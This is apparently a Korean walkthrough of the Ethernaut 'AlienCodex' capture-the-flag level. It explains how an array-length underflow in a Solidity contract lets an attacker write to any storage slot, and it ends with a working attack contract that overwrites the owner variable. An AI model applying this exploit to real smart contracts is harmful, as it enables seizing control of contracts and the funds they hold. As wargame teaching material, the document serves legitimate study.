// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
이 문제는 Ownable
컨트렉트를 상속받는데 Ownable
컨트렉트에 존재하는 owner
변수를 player
의 주소로 덮어씌워야 하는 문제이다.
keccak256(dynamic_array_slot_number) + n
에 저장됨.위 내용들을 알고 있다면 문제를 쉽게 풀 수 있다.
make_contact()
함수를 호출하여 contacted
를 통과할 수 있게 만든다.retract()
함수를 호출하여 동적 배열의 크기를 2**256-1
만큼 늘린다.revise(uint256, bytes32)
함수로 배열 인덱스 어디든 접근이 가능한데 storage의 저장되는 실제 데이터 슬롯은 keccak256(0x1)
이기 때문에 storage slot의 개수를 한 칸 넘어 owner
가 저장된 0번 슬롯에 player
주소를 저장시킨다.위 시나리오를 페이로드로 작성한 것이 다음과 같은 컨트렉트이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
contract attack {
AlienCodex public target = AlienCodex(0x87C048726f7cEA44019af4A677e2532A726E31fc);
function atk() public
{
target.make_contact();
target.retract();
target.revise(uint256(-1) - uint256(keccak256(abi.encode(0x1))) + 1, 0x000000000000000000000000d63f66B0C0ccE2f3906CF98128dD7eF566922204);
}
}